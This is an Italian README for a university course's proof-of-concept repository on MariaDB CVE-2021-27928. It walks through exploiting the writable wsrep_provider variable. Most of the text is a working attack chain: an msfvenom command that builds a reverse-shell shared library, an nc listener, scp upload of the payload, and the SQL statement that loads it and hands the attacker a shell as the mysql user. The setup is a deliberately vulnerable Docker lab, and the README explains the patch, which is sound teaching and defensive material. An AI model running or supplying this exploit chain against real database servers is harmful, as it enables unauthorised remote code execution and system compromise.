laliea/cve-2021-27928Una prova di concetto per lo sfruttamento della vulnerabilità CVE-2021-27928
In questo repository troverai una prova di concetto dello sfruttamento della vulnerabilità CVE-2021-27928 tramite un container docker.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
Le variabili di sistema wsrep_provider e wsrep_notify_cmd system possono essere modificate in fase di esecuzione da un utente del database con privilegi super, il che può portare all'esecuzione di codice remoto con tali privilegi.
La prima variabile accetta un percorso alla libreria .so che il server tenterà di dlopen(), mentre la seconda accetta un percorso allo script shell che il server eseguirà. Il fatto che siano scrivibili consente a un utente del database con privilegi super di eseguire codice arbitrario come utente di sistema .
mysqlIn questa prova di concetto, utilizzeremo msfvenom per generare la libreria .so che conterrà il nostro payload (nel nostro caso, una reverse shell). Copieremo quindi questo file sulla macchina vulnerabile e specificheremo questo percorso nella variabile wsrep_provider, che eseguirà il nostro payload, dandoci accesso alla macchina bersaglio come utente con privilegi superiori (qui l'utente mysql) grazie alla nostra reverse shell.
Per questo esperimento, avrai bisogno che i pacchetti docker, msfvenom, openssh-client e mariadb siano installati sulla tua macchina.
In questa configurazione, la macchina bersaglio è basata su un'immagine MariaDB 10.4.12 (che è vulnerabile a questo difetto), sulla quale è in esecuzione un server openssh senza accesso root. Abbiamo quindi creato per te un utente non root, myuser, con password mypassword.
Creazione dell'immagine vulnerabile:
docker build --rm=true -t mariadb-cve-2021-27928 .
Avvio della macchina bersaglio:
docker compose up
Il payload è il binario che vogliamo venga eseguito dalla macchina bersaglio una volta completato l'exploit. Qui, usiamo msfvenom per creare il payload della reverse shell sotto forma di libreria .so, con il nostro indirizzo IP (LHOST) e porta (LPORT) come parametri. Su un'altra shell, esegui:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
L'indirizzo IP
LHOSTè quello definito indocker-compose.yamlper il gateway di rete, nel nostro caso l'attaccante, tu.
In background, su un terzo terminale, ascolteremo eventuali connessioni in arrivo dalla macchina bersaglio sulla porta a cui dovrebbe connettersi.
nc -lnvp 4444
La porta su cui stiamo ascoltando,
4444, è quella che abbiamo impostato comeLPORTdurante la creazione del payload.
Ora, dobbiamo copiare il payload creato in precedenza (payload-CVE-2021-27928.so) sulla macchina bersaglio tramite ssh usando il comando scp, come utente di sistema non-root myuser, la cui password è mypassword:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Poiché non possiamo copiare direttamente un file via ssh in /usr/lib, dobbiamo connetterci alla macchina e spostarlo manualmente nella posizione corretta (ricorda che la password di myuser è mypassword):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Avremmo potuto caricare il payload in un'altra directory con un nome diverso, come
/tmp/exploit.so, e passare questo percorso come percorso del payload, ma poiché la vulnerabilità è stata corretta su tutti i pacchetti mariadb, il suo sfruttamento ha richiesto alcuni aggiustamenti che vedrai alla fine di questa demo.
L'ultimo passaggio è sfruttare la vulnerabilità di MariaDB inviando una richiesta come l'amichevole utente di sistema non-root ma competente amministratore del database che siamo, con la richiesta di impostare la variabile globale wsrep_provider sul percorso del nostro payload.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Qui,
rootsignifica "amministratore" a livello di database, non l'utente "root di sistema". La password qui è quindi quella presente nel filedocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Infine, se tutto ha funzionato come previsto, possiamo vedere nel terminale in cui stavamo ascoltando eventuali connessioni in arrivo che la macchina bersaglio si è connessa con successo a noi e che possiamo eseguire comandi shell. Buon divertimento :)
La reverse shell non è sofisticata come una shell "classica": non hai autocompletamento, prompt della shell né cronologia, quindi sta a te monitorare la corretta esecuzione dei tuoi comandi. Quindi, come esempio, non esitare a usare
ls -la.
Puoi eseguire
whoamisulla shell di netcat per verificare di essere l'utente di sistemamysql!
Secondo il Jira di MariaDB, sembra che ci sia poco (o nessun) caso d'uso pratico per avere queste variabili modificabili in fase di esecuzione; vengono utilizzate solo nei test. Dopo la scoperta di questa vulnerabilità, la correzione è stata quindi renderle di sola lettura, che è stata una soluzione facile e sicura, al costo di script di test leggermente più complessi.
Non era così prima, ma ora l'unico valore di percorso che wsrep_provider può assumere è /usr/lib/galera/libgalera_smm.so, ecco perché questa prova di concetto ha richiesto alcuni aggiustamenti come concedere diritti di scrittura alla cartella /usr/lib/galera per poter caricare il nostro payload. Questa configurazione è quindi volutamente fallibile nel contesto di questa dimostrazione, ma non è più utilizzabile in questo modo sulla maggior parte dei sistemi attuali.
Questo lavoro è stato svolto nell'ambito del corso di Sicurezza dei Sistemi Informativi tenuto nell'ultimo anno della specializzazione in Ingegneria dei Sistemi Informativi presso Grenoble INP - Ensimag, UGA.